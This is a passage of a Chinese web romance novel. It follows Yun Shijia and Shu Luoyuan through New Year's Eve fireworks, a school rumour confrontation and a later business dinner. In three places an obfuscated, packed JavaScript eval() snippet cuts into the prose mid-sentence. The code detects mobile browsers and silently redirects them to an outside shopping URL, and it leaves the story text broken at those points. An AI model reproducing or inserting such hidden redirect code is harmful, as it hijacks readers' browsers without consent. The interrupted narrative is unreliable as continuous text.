她感觉手机又震动了一下,点开碎屏的手机一看,舒洛原回复她:【新年快乐!吃过年夜饭了吗?】 云诗加想回复他,但发现手机屏幕的裂缝横穿整个斜角,发送键正好卡在缝隙处,突然失灵了。 好不容易拦到了出租车,云诗加拽着还在对手机那头“啵啵啵等会儿见”的向笙和上了车,一上车她就夺过向笙和的手机,说:“借我发个信息。” 她用向笙和的手机登陆了自己的Q.Q。 云诗加:【吃过了,准备去护城河边放烟花。】 她看见那一头在不停地输入中,很快,他发来一句:【在哪里?我能看到吗?】 云诗加:【就在梅中后面的大桥上。】 舒洛原这次没有犹豫:【我方便来吗?】 云诗加:【当然可以!】 她把向笙和挤到一旁去,坐在出租车后座的中央,对着后视镜照了照,外婆今天早些时候带她去新剪的刘海有点太短了,露出她细长的眉毛,显得有些幼态和变扭,总之她看不太惯。 “我的刘海奇怪吗?”她问。 向笙和有点不明所以,扭头盯着她:“还……还行啊。” “会不会有点太短了?” 她皱着眉问,转眼又发现下巴上长了一颗红色的痘,眉头蹙得更紧了。 “挺可爱的。”向笙和拿回了他的手机,低头回女友的消息,随意敷衍道。 “算了,问你也是白问。” 云诗加把目光投向窗外,出租车驶过古城区一段正在整修的路,坑坑洼洼的路面让出租车行驶缓慢,云诗加的身体上下颠簸,车窗外的路边,几个孩子正在玩摔炮,啪啪地往地上掷着,他们每掷一下,就像把她的心脏也掷在了地上,云诗加感觉自己的心在地上一蹦一跳的。 到了桥上,不少人已经围在桥边欣赏夜景,护城河里的水流安静地流淌,向笙和走到桥边等待女友,他转头问云诗加:“要买汽水吗?我请客。” 云诗加摇了摇头。 她跟着人流在桥边踱步,突然她的左肩被拍了拍,她往左转头,右肩又被拍了一下,她笑了笑,依旧往左转头。 舒洛原的脸出现在左边,他穿着一件米白色的大衣配黑色高领毛衣,举着一个带蛋筒的冰淇淋,已经化了,乳白色的液体顺着蛋筒往下流,流过他骨节分明的手指,垂在指腹边缘欲滴。 “新年快乐,吃冰淇淋吗?”他笑着问。 “新年快乐,怎么只有一个?”虽然这么问,但云诗加没有客气,直接接过冰淇淋,伸出舌尖把流淌在蛋筒上的冰淇淋舔舐掉,又张嘴一口咬掉了冰淇淋的尖尖。 “出门急,没带够零钱。”他说。 “哦。”云诗加转过身,面对着河面,看着桥下的诸人聚成一簇簇的。 在沉默还没酿成尴尬之前,向笙和带着他的女友从桥头走过来找他们,没有多做介绍,向笙和便扛着烟花包往桥中心去了。 云诗加扭头看了看舒洛原,说,“我们跟上吧。” 舒洛原点了点头。 向笙和兴致很高,他还从家里摸了一台相机带出来,他的新女友是位高挑靓丽的女生,大冬天仍然穿裙子露着腿,美丽冻人,向笙和放了两个短时的烟花,举相机给女友咔嚓咔嚓拍了许多照片。 但他女友对他的拍照技术似乎有些不满意,嘟着嘴巴说要自己用手机自拍几张,便往桥的另一侧去了。 向笙和才想起他们,他看向云诗加,“你们俩要不要拍照?” 云诗加吃完了冰淇淋,吞下蛋筒的最后一个三角锥,她点头,“好啊,把我拍好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342275|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看点。” “兄弟,你也一起拍吧。”向笙和招呼舒洛原,还给他们提供动作指导,“兄弟你站这边,对,往左边一点,欸对,头低一点,好了好了,这样正好。” 云诗加僵直着身体,她不能往后靠,因为身后是年久铁锈的栏杆,她怕把锈迹蹭到身上,左侧是另一簇放烟花的人,他们的烟花举得不够稳,几乎都要崩到她身上,右侧是挺拔笔直的舒洛原,她再挪动几厘米,就会触碰到他宽阔的肩膀。 向笙和找了找角度,摁了几下快门后看了一下成片,摆手说:“不行,这里有点暗,光线不太好,你们整体往右边挪动一下,OKOK,这样很好。” 向笙和对着取景框大声指挥着,他的脚也跟着无意识地往右后方挪动。 突然,云诗加左侧的那群人一时脱了手,手持的加特林烟花掉落在地上,还没燃放结束的烟花一时失了控,往桥墩上炸了几炮,声响巨大,霎时间尖叫声此起彼伏,所有人都大惊失色,一窝蜂往桥头跑去。 就在这混乱之中,向笙和的相机不知被谁碰掉了,他条件反射弯腰去捡,却没注意刚刚已经后退到了桥的边缘,桥墩不够高,他重心失稳,几乎要往河边的石墩上栽过去。 情急时刻,是舒洛原一个箭步穿过人群,拽住了向笙和的胳膊把他往回拉,还顺手勾起了他的相机。 向笙和捂着胸口,惊魂未定,突然开始大喘气:“吓死我了,谢谢兄弟,谢谢、谢谢!” 云诗加也目睹一切,晚了一步冲过来,往桥墩下看,起码有五六米,摔下去骨折起步、上不封顶,她没忍住扬声说:“向笙和!你怎么这么不小心!你简直吓死我了!要是舒洛原没有拽住你怎么办!” “呼……幸好没摔下去,不然青田中学少了我这个帅哥,学妹们要怎么度过美好的高中生活呢?”向笙和依旧嬉皮笑脸。 云诗加看他笑嘻嘻的样子,反倒有些生气了:“你也太不把自己的生命当回事了!要是要是……今天还是大年夜,你让我怎么跟你爸妈交代!我……” 舒洛原拽了拽云诗加的胳膊,对她摇头,云诗加才住了嘴。 那个失控的烟花已经燃尽了,锥形烟花筒躺倒在桥中心的石板上,人群也恢复了刚才的平静,但因为这场小事故,许多人也都有些后怕,陆续离开了。 向笙和的女友逆着人流过来找到了他们,问说:“刚才怎么了?大家怎么都走了?我刚走到下面的巷子里自拍,差点迷路了。” 向笙和其实心里也有点后怕了,但在女朋友面前维持面子,没好意思表现出来。 “没什么,刚刚发生了点小事故,刚才幸好你不在,不然肯定吓到了,不过没担心,我肯定会保护你,英雄救美什么的我最在行了……” 云诗加无语地跟舒洛原对视了一眼。 看见人群都散得差不多了,向笙和的女友拍够了照片,没穿袜子的腿很冷,便撒娇要向笙和送她回去了,向笙和勾着舒洛原的肩膀说:“兄弟,今天感谢你,下次请你吃饭!你帮我照顾好她啊,打车费我来出!我先走一步!” 舒洛原对于向笙和这种自来熟的行为有些不适,他轻轻挪开自己的肩膀,淡淡点头应了一声。 云诗加和舒洛原目送他们离去,还听见向笙和的女朋友问他说:“你什么时候跟你朋友带来的那个很帅的男生这么熟了?” 向笙和的声音突然变得高昂:“他有我帅?!” 云诗加扶额叹了口气。 收回目光,云诗加听见身后有一道被冷风吹得微哑的声音:“我没有他帅吗?” 与此同时,她感受到少年的胸膛就在她的背后起伏着,热气透过大衣与冷空气,传达到她的后颈,烫着她的灵魂。 砰——啪—— 远处另一座桥头也有人在放烟火,红色的烟花在空中绽放出一团圆润的火。 云诗加的眼眸被烟花照射成彩色的,她感觉刚才惊险一瞬的心跳还没平复,心内的烟火也在升腾燃放。 她没有转头,面朝着烟花盛放的那片夜空,把自己小声的勇敢融隐在巨大的烟花声中。 “舒洛原,我觉得你最好看。” 11. 011 树上会开花 舒洛原对那个除夕夜也印象深刻。 他爸舒望农和他妈叶宝珍吵了一架。 吵架的原因很简单,两人工作都很忙,没时间照顾他,便互相推卸责任、互相责怪,随后延申到生活细节进行指责。 他爸怪他妈因为医生职业习惯,在家过度消毒,搞得老的小的累得慌,他妈怪他爸把蟹塘的泥啊灰啊带到家里来,搞得家里门口总是不干净。 舒望农和叶宝珍时常吵架,但毕竟是年轻时自由恋爱、跨过异地恋再走进婚姻的夫妻,一时气头上过去了,隔天也就和好了。 他们吵架的时候,舒洛原在书房里玩游戏,FPS游戏需要集中注意力,但他的耳朵里总是漏进几句冷言冷语,还伴着楼下客厅电视机里放的春晚热闹歌舞声。 连输了两局,他拿起手机一看,班群里消息一直叮叮作响,云诗加的祝福就在屏幕上方跳出来。 他突然想到了她那个晚上流的泪。 云诗加的大眼睛时常是清澈的,总带着一股莫名的倔意,透过她的眼睛,他好像能看见她的一切,但又蒙着一层朦胧的窗纱,当这双眼睛里聚满了眼泪时,他就看不清了。 他不想看不清。 所以当她说起放烟花的时候,他鬼使神差地问了地点。 短暂逃离家,和才认识不到半个月的女孩,去看一场烟火。 至少在除夕夜,她的笑容看起来真心了许多,没有那么多忧愁在眼睛里。 她说,她觉得他最好看。 冷风和烟火声把她的话吹得又轻又散,他诧然地侧耳:“你说什么?” 云诗加回过头,眨着她那双依然动人的眼睛,她说:“我说,你,好看,最好看,梅中第一大帅哥,行吗?” 她的眸子亮亮的,倒映着烟火与河流的水波,他一时没说出什么话,呆呆地说了一句:“你也好看。” 云诗加短促地笑了一声,似乎没把他的话放在心上,转身往桥下面走。 舒洛原跟了上去,他呆呆地又重复了一遍,生怕她不信:“真的,云诗加,你很好看。” 走到了桥边的一棵香樟树下,云诗加抬头看了看树冠,又看了看他。 “我知道,”她说,“我知道我好看的。” 舒洛原的巧言被她的不按套路出牌哽住了,他沉默了片刻,只“哦”了一句。 “你看,冬天的树上也会开花。”她指着香樟树的树顶。 舒洛原走过去,与她并肩站在一起,顺着她的手指看去,树枝的交错处能看见烟花的盛放,就像树枝开了花一样,与此同时,他闻到她身上的花朵一样的芬芳,似乎是头发上的味道。 是洗发水的味道吗? 他不知道,但他由此联想到的画面实在不能够再允许他往下遐想。 于是他甩了甩头,静静看着这一簇烟花燃放殆尽,“我们要不要去哪里逛逛?” 云诗加浑然不知他刚刚所想,问道:“你想去哪里?” 他摇了摇头,想说,去哪里都可以,但还是选择了一个答案说出来,他说:“要不我带你去一个秘密地方?就在市图书馆的后面,很近。” “好啊。”她说。 反正她也不想回家。 少男少女并肩走在除夕夜的街头,原本熙攘的闹市区人烟稀少,偶有一辆车快速驶过,冬天的冷风吹在脸上,世界静谧得就只剩下他们和谐的脚步声。 “好安静。”她吸了吸鼻子感叹。 “冷吗?”他把围巾脱下来,在她脖子上绕了一圈。 云诗加低头看,还是那条黄蓝色格子的围巾,他似乎在这个冬天偏爱这一条,依旧是暖的,带着他的体温。 她低声说:“谢谢。” “快到了,你等我先上去。” 绕过街道,钻进了一条巷子,舒洛原指着一堵被拆剩下一半的围墙说。 “这里?”云诗加疑惑地问,虽然跟市图书馆相邻,但这里明显是一处废弃的民居,围墙里头堆满了杂物和建筑垃圾。 眨眼间,舒洛原已经跳上了围墙,半蹲着朝她伸出手。 云诗加把手递过去,与他的手掌相握,热意从掌心传递过来,云诗加感觉有一股轻飘飘的力将她托了起来,她不知怎地,已经跃上了围墙头。 她的心跳因为身体的骤然升高而变得快节奏,他没松开她的手,拉着她往杂物堆积的高处又走了几步,翻过另一堵围墙,从一个废弃楼梯往上爬。 “小心。”他指着脚边裸露的钢筋说。 很快到了一个砖砌的平台上,在他们手心的体温变成一致之前,他松开了她的手,她莫名觉得手心开始快速失温的同时还在冒着手汗。 舒洛原从口袋里掏出一张纸巾,铺在了平台的边缘上,又捡起墙角的砖块压住风中飘摇的纸巾边缘。 “坐吧。” 他拍了拍纸巾旁边的灰尘,随意坐在一旁,然后抬腿顺着臀部的支点旋转,把腿荡在平台外,看向古城区的夜景。 云诗加坐在了纸巾上,小心翼翼地把身体朝外旋转过来,虽然脚下就是高高堆积的杂物,即便摔下去应该也无大碍,但她还是谨慎过头,小腿勾在平台的外墙檐口上,一手抓着平台边缘凸起的一块砖石保持身体的稳定。 坐了一会儿,她逐渐放松了,看向夜景,远处桥头的人们依旧在持续不断地点燃烟火,夜空被不同颜色的烟火照亮又消失,一簇又一簇,护城河的河流汩汩,生生不息,河畔的排排民居和树木古老又安静。 “好看吗?”舒洛原突然哼起了歌,他的短发在风中被吹得有些凌乱,侧脸被完全地展露在云诗加的眼前。 “好看,”她却不合时宜地想问他一个问题,她也确实问了出来,“舒洛原,你要去清大吗?” 舒洛原的歌声暂停了,他笑了笑:“嗯,但你一定要在这么好的夜晚,这么漂亮的夜景,问这么严肃的问题吗?那你呢,你想去哪里读大学,云诗加?” 他突然叫了她的名字,云诗加一愣,她嗫嚅着嘴唇,说了个模棱两可的答案:“大城市吧,考上哪里都可以。” 随后她笑了笑,把远眺的视线收回到近处,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342276|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黑黢黢的街景中梭巡。 近处能看见梅中的操场跑道,还有梅中的教学楼顶,掩藏在昏黄路灯和树影中,附近簇拥着一片狭小的街道和民居。 “欸那边……”云诗加指着一个民居的院墙,“那树梅花……” 舒洛原的目光顺着她的手指去找,但夜色太浓,他没看清,眯着眼睛问:“什么?哪里有梅花?” “没什么。”云诗加摇了摇头。 那树梅花不大,不过只有那伸出墙外的一枝开得比较好,其余的树枝都隐在小小的院落里,并不起眼,这么多民居,这么多树,她不知道要怎么描述它的具体方位。 就像她也无法详细地描述,她与那一枝梅花的故事,该怎么说,她因为那枝梅花捡到了他的校园卡的故事呢,以一个浪漫的开头,还是以一个戏谑的开头。 她还没想好怎么说,索性便不说了。 她说:“我可能看错了。” 舒洛原又重新哼起了歌,冷风让空气变得格外洁净,他的歌声让砖石都变得柔软,云诗加听着,渐渐松开了抓住身后砖石的手。 她把两只手臂都举了起来,张开手指,正好一阵风吹来,风从她的手指缝里钻过去,围巾被风吹起,扬在她的脑袋后头。 “新!年!快!乐!”她高声喊着。 舒洛原也配合着举起手臂,顺着她的尾音做和声:“快~乐~” 云诗加不服输也加了音调起伏,给调子顺口填了词:“快!乐!Ohyeah!” 舒洛原笑得眼睛眯起来,他作举手投降状,“即兴创作歌神,我投降!” 他们吹了很久的冷风,唱了很久的歌,从千禧年代的歌王唱到网络神曲,他们发现两人的歌单重合度是出乎意料的高。 唱到那句:“为你翘课的那一天,滑落的那一天,教室的那一间……” 沉寂过片刻的夜空突然又开始爆发式地燃放,其中有几束橘黄色的火焰从他们头顶窜过,发出噼啪噼啪的巨大响声。 舒洛原从口袋里摸出了手机,点亮手机屏幕,他把屏幕举到了云诗加的面前,隔着巨大的烟火声,他藏在刺眼的手机屏幕后的嘴巴蠕动,口型似乎在说着什么。 云诗加被突如其来的过近的轰炸声吓得捂住了耳朵,她高声问道:“你说什么……?!” 舒洛原放下了手机屏幕,拿下她捂着耳朵的一侧手臂,把双手圈成喇叭状,嘴巴凑到了她的耳边。 “云诗加!零点了!新年快乐!” 他的声音穿过她的耳膜,直达心脏,天色变得清澈如黑色绸缎,大地随着欢庆而咕噜作响,有一缕滚烫的气息喷在她的耳廓上,心火燃放出沉醉的欢呼雀跃。 她把捂着耳朵的另一侧的手也放了下来,有样学样,把手卷成一个筒,她的嘴唇凑近了他的耳边,大声地祝福他: “舒洛原!祝你心想事成!” 她不想让这寒风凛冽的除夕夜里,只有她一人的心上开了一朵橙红色的火花,灼灼地燎着她的呼吸,那太可惜了。 她想要他也一样。 12. 012 香樟树下 后来舒洛原不止一次复盘,他究竟是在哪一刻爱上她的。 可是他始终没有结论。 一开始,他不过是因为那杯浇下的水感到歉意,然后是她尴尬到赤红的面颊和那晚楚楚可怜的泪眼让他想安慰几句,后来,他也只是莫名想和她说说话。 直到那场风波,他才确定了,有些感情就像潘多拉的盒子,一旦打开,就再也合不上了,只能任由它倾泻,然后让一切都一发不可收拾。 短暂的寒假转瞬即逝,梅中的高三生们比其他学生更早开学,回了学校,舒洛原就听到一些同学们在厕所里和走廊上窃窃私语,似乎在讨论着有家长举报梅中补课的事情。 这种举报并不常见,过去的举报大多数是家长抱怨学校没有安排补课,反过来的案例属实是破天荒。 于是学生间便有了诸多猜测。 有说是不学无术的学生家长举报的,有说是其他学校的妒忌梅中的成绩才举报的。 后来不知怎的,诸多说法传着传着,就怀疑到了舒洛原的头上。 舒洛原早就拿到了清大招录计划的降分录取资格,他只需要在高考中发挥平时成绩的三分之二就可以顺利收到录取通知书。 虽然这样的学生在梅中不止他一个,可他在别人讨论补课的时候曾经说过一句,他觉得过量补课对高三生来说是不必要的,充足的睡眠、营养的饮食和健康的身体才能让大家走得更远。 这句话被引申出了别的意思,他们说他的优越无处招摇,一时间谣言四起。 云诗加是从涂玉棋口中听来的,谣言像一张密不透风的网将舒洛原包裹了起来,可这张网是透明的,他不知道谣言的出处是哪里,也不知道是谁在传播,他好像只能选择沉默,只能等待这一阵风暴过去。 那天舒洛原请了假,云诗加本就在猜测他请假的原因是否跟谣言有关,在走廊上听见有人又在议论,云诗加忍不住停下来为他抱不平: “舒洛原才不是这种人,别人问他借笔记,他都会大方借,问他题目他也会耐心解答,这样的人怎么会去举报呢?” 议论的人中有一个邻班的男生,他把云诗加从头到脚扫视了一遍,轻佻地说:“知人知面不知心,你怎么知道不是他?” 还有一位认出了她是外校的插班生,更是轻蔑,“他帮助你们这种插班生当然热心,你们又威胁不到他的排名。” 怎么能跟人证明一件本就不存在的事情? 何况这群人本就怀有偏见。 云诗加突然觉得无力,跟他们多说一句都算白费口舌。 她扭头就走了。 但身后的议论却越发不堪入耳,那个邻班的男生突然把话题转移到她的头上:“舒洛原就仗着那张脸骗骗小女生呢,这种插班生最好骗了,没见过什么世面,说不定就因为一些小恩小惠,偷偷暗恋人家,所以才替他说话呢……” 周围窸窸簌簌,云诗加收到了许多怪异的侧目。 她深呼吸了一口,停下了脚步。 然后猛地转身,朝刚才那个碎嘴的男生走过去,那个男生个头不算高,她直接用手揪住了他的领口,将他整个人提到了自己的面前。 “你再说一遍。”她说得很慢,但声音很大,掷地有声。 周围的人捕捉到冲突,高三本就枯燥无味,连教室里的人都闻声走了出来,云诗加一下子成为了风暴的中心。 那个男生赤红着脸,扭动着身体去拽她的手,但云诗加从小在陈明华的餐馆里端的盘子可不是白端的,她手上的劲儿丝毫没有放松,男生见她不是个软柿子,突然不承认了。 “我说什么了我?你要打我啊?” “我、让、你、再重复一遍、刚才说的话。”她再次扬声说。 有几个与这个男生相熟的人,突然在人群中怂恿:“喂,李勇,你居然怕女生啊?” 李勇涨红着脸,突然鼓了气,“我怕什么?我刚说你暗恋舒洛原,怎么了?我说错了吗?你不喜欢他你替他说什么话,还是说你恼羞成怒了?” 云诗加刚要说些什么,突然感觉到身后有人靠近,一只手从背后伸过来,掌心覆在她的手背上,让她不知觉地卸了力。 李勇的领子被松开,脚跟落了地,但下一秒,他的肩头就被另一只手捏住,那只手把他往下摁,他的两只脚掌死死钉在地面,动弹不得。 “舒洛原?”云诗加抬眼,不知他何时回了学校。 “李勇。”舒洛原记得他,李勇是高一高二时竞赛班上的同学,但省赛落败没拿到名校计划资格,几年的竞赛努力都付诸东流,“李勇,你是嫉妒我吗?” “什……什么嫉妒,你说什么呢……”李勇被戳中了内心的隐秘,嘴瓢了。 “嫉妒心不可怕,可怕的是背后造谣,还不敢承认。” 舒洛原说得大声,环视四周,确保周围的人都听见了他的话,然后松开了他的肩膀,拉着云诗加的手臂挤开人群走远了。 身后的议论声渐渐散了。 云诗加被他拉着走,她看着阳光洒在他的肩上,他身上干净的皂荚香气被阳光烤热了钻进她的鼻腔。 不知不觉走到了走廊的尽头,这里连接着操场的入口,一些上体育课的学生从他们身旁跑过。 舒洛原停在了操场入口的一棵香樟树下,松开了她的手臂。 “你不怕他反手打你吗?” 云诗加抬头,看见他眼睛里的紧张,她又垂下头,去踩地上掉落的一粒粒黑色的香樟籽,踩碎后的香樟籽会发出“泼”的一声,然后在地上留下一抹黑渍。 “我不怕,我打得过他。” 她嘴硬地说,但其实刚刚一时的肾上腺素已经褪去,她感觉自己的指尖在发抖。 舒洛原闻言笑了,“你这么力大无穷呢?” “对,”云诗加看着地面上还有阳光从树叶缝隙投射下来的光斑,她也跟着笑了,“我幼儿园就跟男孩子打架,我爸妈都不知道,因为男生打输了好面子不告诉老师和家长。” 舒洛原弯腰侧头,歪着看她垂下的眼眸,他笑眯眯的,“你爸妈都不知道的事情,你告诉我了?” 云诗加抬眼,发现他正低头看她,她的嗓子紧了一下,然后闭了闭眼睛,说:“你要是说出去,我也会打你的。” “哈哈哈哈……” 舒洛原突然仰头笑了一声,他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342277|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花坛的边缘坐下了,顺手把花坛旁边的灰尘掸了掸,说:“坐。” 云诗加想了想,坐下来,她问:“你今天不是请假了吗?” 舒洛原勾起嘴角,“对,因为早上起不来,索性睡了个懒觉吃完午饭再来。” “我以为你是因为谣言才……”说到这里,云诗加愣了一下,随即笑出声,她肩膀抖动,像是被自己逗笑了,“亏我还为你抱不平,原来你心态好着呢……” 校园不知何时逐渐安静了下来,头顶掉下一片落叶,正好落在云诗加头顶的丸子头上。 舒洛原伸手将那片落叶拈起,他荡下的衬衫袖口从她的脸颊拂过,那股阳光晒过的皂香在她的鼻子前堆积得愈发浓郁了,她止不住打了个喷嚏。 他没直接把落叶扔掉,反而捏在手指尖,把落叶旋转了起来,云诗加静静盯着看,落叶在他的指尖像一片振翅欲飞的蝴蝶。 蝴蝶停了下来,她听见他突然很认真地说:“谢谢你。” 然后她的脸更红了,鼻子更痒了。 “马上上课了,我该回去了。”她突然站起来,格子裙摆荡落在她的小腿上。 “好,那我们回教室。”舒洛原也站起了身,他的脚踩在了一粒香樟籽上,他听见剥落的一声,感觉心里也有什么东西被剥开了似的。 但她说:“不不,我们不要一起回去。” 舒洛原看着她的后脑勺,张了张嘴,一时没说话,他“嗯”了一声。 可等到云诗加走回走廊前的台阶上时,他还是没忍住,叫住了她:“云诗加。” 云诗加回过了头,她攥住了裙摆的一边,看见仍旧站在香樟树下的少年在对她笑,他的衬衣洁白,树叶间投下的光斑在他身上有些刺目的白,还有偏爱他的风,把他的刘海一角吹起,让光斑映影在他微微仰起的脸上。 而在那一刻的舒洛原的眼里,也只有一个裙摆飘飞的少女,扭着雪白细长的脖颈,她静静地站在那里,用那样真诚而纯净的目光注视着他,让他有一些凝滞的心悸,又让他的血液燃烧。 他说:“云诗加,或许你愿意,考一个北城的大学吗?” 上课铃响了,叮铃铃的声音格外刺耳。 他突然有些急切地往前小跑了几步,他的声音里混着铃声的催促:“清大附近有很多学校,北城是你想去的那种大城市吗?” 云诗加感觉风把她的碎发吹得凌乱了,她偏了偏头,什么都没说,踩着铃声在走廊上跑了起来。 舒洛原慢慢踱回了教室的后门,云诗加就坐在后门靠窗的位置上,她摸着凌乱的碎发,抬手重新把丸子头扎了一遍,但老师已经踏进了教室,她一时没扎好,发尾在颈下晃了晃,荡下几缕发丝。 舒洛原感到心里也一阵荡漾。 他在北窗下的位置上坐下,偏头看见,窗下的那片草坪已经发了绿芽,冬日的枯草焕发生机,那块她曾经坐过的石头上也爬满了绿色的新生命。 他的手机在裤袋里震动了一下。 是云诗加发来的Q.Q消息。 她的头像不知何时从一个流行的卡通人物换成了一枝幽幽盛放的梅花。 她说:【好。】 13. 013 哦,缘分。 自从知道了新楼盘的事情,云诗加连续几周的周五傍晚都去工地堵人,但几次都扑了空,直到都快放弃了,才堵到了绿木集团的领导。 但她看清带头的那位安全帽下的脸,很意外:“谢总?好巧。” 谢如一摘下了安全帽,对她挑眉:“云小姐?” 云诗加准备充足,一袭米白色西装套裙,她伸手向谢如一示好:“看来我们很有缘分,谢总,我上次就说您太谦虚了,什么小生意,我的那个小工作室才是小生意,这不,到处抱佛脚呢。” 谢如一笑得和蔼:“云小姐,我这只手还没好透呢……” 看见他的风衣下挂着一只仍旧裹着纱布和夹板的手臂,云诗加一拍脑袋:“哎呦!谢总您应该在家好好休养才是,也太敬业了!” 谢如一耸肩:“我不过是个二世祖,哦不,应该算是三世祖,我只是帮我祖父来巡视一圈,他老人家身体不好,让他少操些心。” 云诗加回忆了一下在网上搜寻到的关于绿木集团的资料,确实有位姓谢的股东,但她根据年纪判断他不参与实际经营,背调做的不多,现在属实有些恼恨,但也只能硬着头皮往下聊。 “您有这份孝心就是难得的。”她讪讪笑。 “云小姐今天是来湖边散步?”没等她回答,谢如一走到一旁接了个电话,接完回来对云诗加扬眉说:“巧了,今天都凑在一起了,舒总也要过来,我们约了等会儿一个饭局,还有几位朋友小聚,云总要不要一起去?” 正中她的下怀。 云诗加眼睛放光:“好呀好呀。” 她跟着谢如一上了他的商务车,来到了一家新开的粤菜餐厅,听说最近一位难求。 餐厅是古朴的装修风格,服务生在前头带头,推开包厢门,绕过玻璃砖和绿植墙,云诗加看见金丝珐琅镶嵌着复古灯球从大圆餐桌顶部垂落,熠熠生辉,包厢里的红木软靠沙发上已经坐着几个年纪不一的男人,几位手里掐着雪茄,吞云吐雾。 在创业之前,云诗加对于这种饭局是厌恶的,她并不喜欢应酬,但无奈,创业后这样的场合总是少不了,她只能避免一些无效社交。 其中被围坐在中间的一位四十出头的男人起身给谢如一打招呼,恭敬地双手与他交握,但垂下的眼眸却向她瞥来暧昧的一眼。 云诗加熟悉这种眼神,职场上总免不了有人对她的身份有刻板预设,面前这位定然认为她是谢如一带来的女伴。 但她并不打算去戳破这种固然印象。 她反而笑吟吟地朝那位男人点头。 谁知他得寸进尺。 谢如一淡淡地向诸位解释:“这位是云诗加、云总,做景观生意的,各位名下的豪宅房产有院落造景需求,可以找云总咨询,她是这方面的行家。” 那位原本恭敬的男人听了谢如一的介绍,反倒起了异色,他反问道:“云小姐是这方面的行家?可有考过什么证书?” 云诗加回答:“我有园林工程师证书和注册城乡规划师的证书。” 那男人听了,依旧不放过她,眼神扫过圆桌中间摆着的桌花盆景,起了心思:“哦?那云小姐对这盆桌上的插花有什么修改建议?我看着总觉得不顺眼,要不你帮忙调整一下。” 云诗加看出他的无缘恶意,但她不愿意当场拂他的面子,也是给带她来这场饭局的谢如一面子,她屏气了几秒,脸上依旧挂着笑。 “好啊。” 她坐靠在圆桌边缘,伸手够到盆景,三下五除二,把高山羊齿的叶片向外舒展开,作羽毛状,又将过高过艳的一支玫瑰取下,把灰绿色的尤佳利果从边缘拨弄到蓬松的小手球花附近,让整个作品表现出小雪压青松的气质。 最后,她将几枝绿叶红花的火龙珠从侧边移出来,捏在手里盘算,还没想好要怎么将花材利用回去。 舒洛原就是在这时候进来的。 他推开包厢的门,大步跨进,第一句先问谢如一的伤情:“老谢,你的手好点了吧?这两天我想起你摔下船的场景都睡不着觉,生怕让你落下什么病根就是我的罪过了。” 谢如一摆摆手:“别提这事儿了,不怪你,我自己不当心,你原本就叮嘱过我要小心,别靠近船边缘,是我贪看风景了。” 云诗加的身体正好被谢如一挡住了一半,舒洛原接过服务生新泡的茶水时,才注意到他身后还有一个人。 他对上了她的眼睛,金丝珐琅的灯罩闪着中式的美艳,灯光流溢在她脸上,让她的肤色像一抹白牛奶,奇异地在灯下流淌。 但他还看到她眼里的求全与委屈,还有一丝怨愤扫过他侧后方的一位老男人。 他知道,她从来不爱抱怨什么。 即便是如今,她也只是安静地坐在圆桌的边缘上,半身裙紧绷,掐出一抹腰后的弧线,一只小腿因为踮在地上显得笔直而诱惑,一只小腿半勾着椅腿压出红痕。 他觉得呼吸一窒,随后他立刻明白了她在做什么,又是被授了谁的意。 舒洛原突然笑了笑,望向那位组饭局的男人,“王总,听说您最近周转困难?虽说我觉得是谣言,外面人瞎传的,但今天真是眼见为实,连桌上的插花您都得劳烦咱客人自己来,简直称得上是勤俭节约了。” 这话说得属实难听,其余人都变了脸色。 但舒洛原没有让这番话有发酵的时间,他眸色一暗,上前把云诗加扶了下来,卡其色休闲西服被他脱下罩在她的肩头,一股男士香水的气息讲她笼罩了起来。 “云总,我突然想起,我们还有水系的方案没有定下来,这一看到你,才想起这方案十万火急了,不如我们先行离席,处理公事,如何?” 她对上他深墨般的眸子,轻轻点了点头。 谢如一也对这位不识相的组局者起了厌,他挠了挠头,也跟着说:“王总,这方案恐怕也与我有关,失陪了,改日再请你喝酒。” 三人从包厢出来走廊一路直行,下了停车场,云诗加和舒洛原应邀,一道上了谢如一的商务车,天彻底暗了下来,车窗外的夜色流光溢彩。 舒洛原钻进了最后一排,云诗加和谢如一坐在前排,她先是转头道歉,“谢总,不好意思啊,我刚刚……” “这有什么,我看那个王总是秋后的蚂蚱,迟早要完。” 云诗加尴尬地一笑,知道他不在意这些,便只好找其他话题跟谢如一有一搭没一搭地聊着,省得车厢太过沉默。 “谢总,您跟舒洛……舒总,是怎么认识的呀?” “我大学在北林上的,跟他们清大有一个研究项目合作,后来又在创业比赛上碰到了,一来一回就熟悉了,况且他说他是苏城人,我虽然没有出生在苏城,但我祖父是苏城人,他经常跟我提起苏城的很多事情,我对这里也很有感情。” “哦……那你们的缘分还挺奇妙的,我原本也想去北林读书,可惜没考上,不然我们就成校友了,说不定还能分到一个班呢。”云诗加说。 